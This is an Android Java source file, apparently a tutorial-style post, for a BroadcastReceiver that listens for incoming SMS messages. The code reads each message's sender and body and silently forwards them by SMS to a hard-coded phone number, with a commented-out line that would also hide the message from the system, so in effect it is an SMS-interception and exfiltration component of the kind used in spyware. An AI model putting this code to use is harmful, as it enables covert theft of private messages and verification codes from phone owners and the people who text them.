BroadcastReceive完成的一个短信监听程序

/**
 *
 */
package org.crazyit.broadcast;


import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;

/**
 * Description:
 * <br/>网站: <a href="http://www.crazyit.org">疯狂Java联盟</a>
 * <br/>Copyright (C), 2001-2014, Yeeku.H.Lee
 * <br/>This program is protected by copyright laws.
 * <br/>Program Name:
 * <br/>Date:
 * @author  Yeeku.H.Lee kongyeeku@163.com
 * @version  1.0
 */
public class SmsReceiver extends BroadcastReceiver
{
    SmsManager sManager;
    // 当接收到短信时被触发
    @Override
    public void onReceive(Context context, Intent intent)
    {    
        sManager = SmsManager.getDefault();
        // 如果是接收到短信
        if (intent.getAction().equals(
            "android.provider.Telephony.SMS_RECEIVED"))
        {
            // 取消广播（这行代码将会让系统收不到短信）
//            abortBroadcast();  //①
            
            StringBuilder sb = new StringBuilder();
            // 接收由SMS传过来的数据
            Bundle bundle = intent.getExtras();
            // 判断是否有数据
            if (bundle != null)
            {
                // 通过pdus可以获得接收到的所有短信消息
                Object[] pdus = (Object[]) bundle.get("pdus");
                // 构建短信对象array,并依据收到的对象长度来创建array的大小
                SmsMessage[] messages = new SmsMessage[pdus.length];
                for (int i = 0; i < pdus.length; i++)
                {
                    messages[i] = SmsMessage
                        .createFromPdu((byte[]) pdus[i]);
                }
                // 将送来的短信合并自定义信息于StringBuilder当中
                for (SmsMessage message : messages)
                {
                    sb.append("来源:");
                    // 获得接收短信的电话号码
                    sb.append(message.getDisplayOriginatingAddress());
                    sb.append("\n--内容--\n");
                    // 获得短信的内容
                    sb.append(message.getDisplayMessageBody());
                }
            }
//            Toast.makeText(context, sb.toString()
//                , Toast.LENGTH_LONG).show();
            
            PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), 0);
            // 发送短信
            Log.v("receiver","pendingintent"+pendingIntent.toString());
            sManager.sendTextMessage("153xxxxxxxx",null,sb.toString(), pendingIntent, null);
            Log.v("receiver","sms");
        }
    }
}